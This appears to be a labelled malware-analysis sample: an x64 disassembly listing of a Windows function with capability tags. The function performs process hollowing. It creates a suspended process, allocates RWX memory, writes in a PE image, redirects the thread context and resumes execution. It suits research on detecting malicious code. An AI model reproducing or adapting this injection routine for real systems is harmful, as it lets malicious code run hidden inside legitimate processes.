Function at 0x18000c760
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Execute shellcode via indirect call
Parse pe header
Resume thread
Terminate process
Use process replacement

Disassembly:
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x918
lea rbp, [rsp + 0x70]
and rbp, 0xffffffffffffffe0
lea rax, [rbp + 0x10]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x11]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 0x10]
movzx r8d, byte [rbp + 0x11]
movzx edx, byte [rbp + 0x28]
lea rcx, [rbp + 0xe0]
call fcn.180001fc0
mov rcx, rax
call fcn.1800118f0
mov qword [rbp + 0x98], rax
lea rax, [rbp + 0x12]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x13]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 0x12]
movzx r8d, byte [rbp + 0x13]
movzx edx, byte [rbp + 0x29]
lea rcx, [rbp + 0xd0]
call fcn.180001f20
mov rcx, rax
call fcn.1800117b0
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rbp + 0xa0], rax
mov rdx, qword [rbp + 0x98]
mov rcx, qword [rbp + 0xa0]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0xa8], rax
mov rax, qword [rsp + 0x930]
mov rax, qword [rax]
mov qword [rbp + 0x60], rax
mov rax, qword [rbp + 0x60]
movzx eax, word [rax]
cmp eax, 0x5a4d
jne 0x18000c872
mov rax, qword [rbp + 0x60]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x930]
mov rcx, qword [rcx]
movzx eax, word [rcx + rax + 0x18]
cmp eax, 0x20b
jne 0x18000c872
mov dword [rbp + 0x34], 1
jmp 0x18000c879
mov dword [rbp + 0x34], 0
movzx eax, byte [rbp + 0x34]
mov byte [rbp], al
mov qword [rbp + 0x20], 0
mov qword [rbp + 0x18], 0
movzx eax, byte [rbp]
test eax, eax
je 0x18000c8b1
mov rax, qword [rbp + 0x60]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x930]
add rax, qword [rcx]
mov qword [rbp + 0x18], rax
jmp 0x18000c8c8
mov rax, qword [rbp + 0x60]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x930]
add rax, qword [rcx]
mov qword [rbp + 0x20], rax
movzx eax, byte [rbp]
test eax, eax
je 0x18000c8db
mov rax, qword [rbp + 0x18]
mov eax, dword [rax]
mov dword [rbp + 0x38], eax
jmp 0x18000c8e4
mov rax, qword [rbp + 0x20]
mov eax, dword [rax]
mov dword [rbp + 0x38], eax
cmp dword [rbp + 0x38], 0x4550
je 0x18000c8f4
xor eax, eax
jmp 0x18000cd5c
mov ecx, 0x68
call fcn.18001ee8c
mov qword [rbp + 0x68], rax
mov r8d, 0x68
xor edx, edx
mov rcx, qword [rbp + 0x68]
call fcn.180033c90
mov ecx, 0x18
call fcn.18001ee8c
mov qword [rbp + 8], rax
mov r8d, 0x18
xor edx, edx
mov rcx, qword [rbp + 8]
call fcn.180033c90
nop
mov rax, qword [rbp + 8]
mov qword [rsp + 0x48], rax
mov rax, qword [rbp + 0x68]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rax, qword [rsp + 0x930]
mov rcx, qword [rax + 8]
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x18000c995
mov rcx, qword [rbp + 0x68]
call fcn.18001ee78
xor eax, eax
jmp 0x18000cd5c
mov rcx, qword [rbp + 0x68]
call fcn.18001ee78
mov rax, qword [rbp + 8]
cmp qword [rax], 0
je 0x18000c9b3
mov rax, qword [rbp + 8]
cmp qword [rax + 8], 0
jne 0x18000c9c3
mov rcx, qword [rbp + 8]
call fcn.18001ee78
xor eax, eax
jmp 0x18000cd5c
movzx eax, byte [rbp]
test eax, eax
je 0x18000c9d9
mov rax, qword [rbp + 0x18]
mov rax, qword [rax + 0x30]
mov qword [rbp + 0x78], rax
jmp 0x18000c9e4
mov rax, qword [rbp + 0x20]
mov eax, dword [rax + 0x34]
mov qword [rbp + 0x78], rax
mov rax, qword [rbp + 0x78]
mov qword [rbp + 0x80], rax
movzx eax, byte [rbp]
test eax, eax
je 0x18000ca03
mov rax, qword [rbp + 0x18]
mov eax, dword [rax + 0x50]
mov dword [rbp + 0x3c], eax
jmp 0x18000ca0d
mov rax, qword [rbp + 0x20]
mov eax, dword [rax + 0x50]
mov dword [rbp + 0x3c], eax
mov eax, dword [rbp + 0x3c]
mov dword [rbp + 0x70], eax
movzx eax, byte [rbp]
test eax, eax
je 0x18000ca27
mov rax, qword [rbp + 0x18]
mov eax, dword [rax + 0x54]
mov dword [rbp + 0x40], eax
jmp 0x18000ca31
mov rax, qword [rbp + 0x20]
mov eax, dword [rax + 0x54]
mov dword [rbp + 0x40], eax
mov eax, dword [rbp + 0x40]
mov dword [rbp + 0x74], eax
movzx eax, byte [rbp]
test eax, eax
je 0x18000ca4d
mov rax, qword [rbp + 0x18]
movzx eax, word [rax + 6]
mov word [rbp + 0x14], ax
jmp 0x18000ca59
mov rax, qword [rbp + 0x20]
movzx eax, word [rax + 6]
mov word [rbp + 0x14], ax
movzx eax, word [rbp + 0x14]
mov word [rbp + 0x2c], ax
movzx eax, byte [rbp]
test eax, eax
je 0x18000ca75
mov rax, qword [rbp + 0x18]
mov eax, dword [rax + 0x28]
mov dword [rbp + 0x44], eax
jmp 0x18000ca7f
mov rax, qword [rbp + 0x20]
mov eax, dword [rax + 0x28]
mov dword [rbp + 0x44], eax
mov eax, dword [rbp + 0x44]
mov dword [rbp + 0x48], eax
mov rax, qword [rbp + 0xa8]
mov qword [rbp + 0xb0], rax
mov rdx, qword [rbp + 0x80]
mov rax, qword [rbp + 8]
mov rcx, qword [rax]
call qword [rbp + 0xb0]
mov eax, dword [rbp + 0x70]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, eax
mov rdx, qword [rbp + 0x80]
mov rax, qword [rbp + 8]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp + 0x58], rax
mov eax, dword [rbp + 0x74]
mov qword [rsp + 0x20], 0
mov r9d, eax
mov rax, qword [rsp + 0x930]
mov r8, qword [rax]
mov rdx, qword [rbp + 0x58]
mov rax, qword [rbp + 8]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x18000cb21
xor edx, edx
mov rax, qword [rbp + 8]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rbp + 8]
call fcn.18001ee78
xor eax, eax
jmp 0x18000cd5c
movzx eax, byte [rbp]
test eax, eax
je 0x18000cb3c
mov rax, qword [rbp + 0x18]
add rax, 0x108
mov qword [rbp + 0x88], rax
jmp 0x18000cb4d
mov rax, qword [rbp + 0x20]
add rax, 0xf8
mov qword [rbp + 0x88], rax
mov rax, qword [rbp + 0x88]
mov qword [rbp + 0x50], rax
mov dword [rbp + 0x30], 0
jmp 0x18000cb69
mov eax, dword [rbp + 0x30]
inc eax
mov dword [rbp + 0x30], eax
movzx eax, word [rbp + 0x2c]
cmp dword [rbp + 0x30], eax
jge 0x18000cbec
mov rax, qword [rbp + 0x50]
mov eax, dword [rax + 0x10]
mov rcx, qword [rbp + 0x50]
mov ecx, dword [rcx + 0x14]
mov rdx, qword [rsp + 0x930]
add rcx, qword [rdx]
mov rdx, qword [rbp + 0x50]
mov edx, dword [rdx + 0xc]
mov rdi, qword [rbp + 0x58]
add rdi, rdx
mov rdx, rdi
mov qword [rsp + 0x20], 0
mov r9d, eax
mov r8, rcx
mov rax, qword [rbp + 8]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x18000cbdb
xor edx, edx
mov rax, qword [rbp + 8]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rbp + 8]
call fcn.18001ee78
xor eax, eax
jmp 0x18000cd5c
mov rax, qword [rbp + 0x50]
add rax, 0x28
mov qword [rbp + 0x50], rax
jmp 0x18000cb61
lea rax, [rbp + 0x3d0]
mov rdi, rax
xor eax, eax
mov ecx, 0x4d0
rep stosb byte [rdi], al
mov dword [rbp + 0x400], 0x10000b
lea rax, [rbp + 0x100]
mov rdi, rax
xor eax, eax
mov ecx, 0x2cc
rep stosb byte [rdi], al
mov dword [rbp + 0x100], 0x10007
movzx eax, byte [rbp]
test eax, eax
je 0x18000cc45
lea rdx, [rbp + 0x3d0]
mov rax, qword [rbp + 8]
mov rcx, qword [rax + 8]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
jmp 0x18000cc5a
lea rdx, [rbp + 0x100]
mov rax, qword [rbp + 8]
mov rcx, qword [rax + 8]
call qword [sym.imp.KERNEL32.dll_Wow64GetThreadContext]
mov rax, qword [rbp + 0x458]
add rax, 0x10
mov qword [rbp + 0xb8], rax
mov eax, dword [rbp + 0x1a4]
add rax, 8
mov qword [rbp + 0xc0], rax
movzx eax, byte [rbp]
test eax, eax
je 0x18000cc95
mov rax, qword [rbp + 0xb8]
mov qword [rbp + 0x90], rax
jmp 0x18000cca3
mov rax, qword [rbp + 0xc0]
mov qword [rbp + 0x90], rax
mov qword [rsp + 0x20], 0
mov r9d, 8
lea r8, [rbp + 0x58]
mov rdx, qword [rbp + 0x90]
mov rax, qword [rbp + 8]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x18000ccea
xor edx, edx
mov rax, qword [rbp + 8]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rbp + 8]
call fcn.18001ee78
xor eax, eax
jmp 0x18000cd5c
movzx eax, byte [rbp]
test eax, eax
je 0x18000cd1d
mov eax, dword [rbp + 0x48]
mov rcx, qword [rbp + 0x58]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x450], rax
lea rdx, [rbp + 0x3d0]
mov rax, qword [rbp + 8]
mov rcx, qword [rax + 8]
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
jmp 0x18000cd42
mov eax, dword [rbp + 0x48]
mov ecx, dword [rbp + 0x58]
add ecx, eax
mov eax, ecx
mov dword [rbp + 0x1a4], eax
lea rdx, [rbp + 0x100]
mov rax, qword [rbp + 8]
mov rcx, qword [rax + 8]
call qword [sym.imp.KERNEL32.dll_Wow64SetThreadContext]
mov rax, qword [rbp + 8]
mov rcx, qword [rax + 8]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, qword [rbp + 8]
call fcn.18001ee78
nop
jmp 0x18000cd5c
add rsp, 0x918
pop rdi
pop rbp
ret